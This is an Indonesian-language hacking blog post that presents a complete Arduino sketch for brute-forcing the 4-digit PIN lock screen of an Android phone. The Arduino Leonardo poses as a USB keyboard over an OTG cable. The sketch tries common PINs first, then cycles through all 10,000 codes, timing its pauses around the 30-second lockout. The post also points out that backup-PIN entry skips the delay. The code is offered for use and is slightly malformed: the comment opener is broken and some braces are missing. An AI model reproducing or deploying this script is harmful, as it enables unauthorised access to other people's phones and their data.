Hack lock screen Android dengan Arduino | Ini Blog ku - Hacking News
Ini Blog Ku - Hacking News

Nov 5, 2014

Hack lock screen Android dengan Arduino

Berikut adalah artikel yang sangat menarik yang ditemukan di Infosecsee  tentang bagaimana menggunakan Arduino untuk hack 4 digit kode pin perangkat android.

Kode akan mencoba ke atas 20 PIN sebelum memulai siklus kekerasan tersebut. Untuk serangan ini bekerja Anda akan memerlukan sebuah Arduino Leonardo, atau Arduino yang dapat bertindak sebagai HID sebuah (Human Interface Device), sebuah OTG USB (on-the-go) kabel dan perangkat target.

Jika Anda pergi dari 0000 - 9999 hack akan mengambil sekitar 16 jam, kemungkinan besar Anda akan mendapatkannya sebelum itu meskipun. Lihat video di bawah ini untuk melihat apa kode ini tidak:

   

Anda juga dapat menemukan kode untuk proyek di bawah ini:
/ *
Brute memaksa Android 4 PIN Digit
Untuk menjalankan seluruh jajaran akan mengambil ke atas dari 16 jam karena penundaan 30 detik setelah 5 input buruk. Menariknya, jika ponsel target mempunyai pola diaktifkan dan set PIN cadangan, sistem entri PIN cadangan tidak memaksa penundaan 30 detik setelah upaya yang tidak valid.Infosecsee

const int buttonPin = 2;          // input pin for pushbutton
int previousButtonState = HIGH;   // for checking the state of a pushButton
int counter = 0;                  // button push counter
int check = 0;

void setup() {

  pinMode(buttonPin, INPUT);

  Keyboard.begin();
}

void loop() {

  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    Mouse.move(25, 50, 0);
    String three = "000";
    String two = "00";
    String one = "0";

    while(counter < 10000){
      delay(1000);
      while (check < 1){
                Keyboard.println("1234");
                delay(500);
                Keyboard.println("1111");
                delay(500);
                Keyboard.println("0000");
                delay(500);
                Keyboard.println("1212");
                delay(500);
                Keyboard.println("7777");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Keyboard.println("1004");
                delay(500);
                Keyboard.println("2000");
                delay(500);
                Keyboard.println("4444");
                delay(500);
                Keyboard.println("2222");
                delay(500);
                Keyboard.println("6969");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Mouse.move(25, 50, 0);
                Keyboard.println("9999");
                delay(500);
                Keyboard.println("3333");
                delay(500);
                Keyboard.println("5555");
                delay(500);
                Keyboard.println("6666");
                delay(500);
                Keyboard.println("1122");
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                Keyboard.println("1313");
                delay(500);
                Keyboard.println("8888");
                delay(500);
                Keyboard.println("4321");
                delay(500);
                Keyboard.println("2001");
                delay(500);
                Keyboard.println("1010");
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                check++;}
      if (counter < 10 && check == 1) {

                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                counter++;
                Keyboard.println(three + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else if (counter < 100){
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                counter++;
                Keyboard.println(two + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else if (counter < 1000){
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                counter++;
                Keyboard.println(one + counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                }
      else {
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                counter++;
                Keyboard.println(counter);
                delay(500);
                Keyboard.println("");
                Keyboard.println("");
                delay(30000);
                Mouse.move(25, 50, 0);
                } 
    }     
    }
  previousButtonState = buttonState;

Artikel Terkait

0komentar:

Post a Comment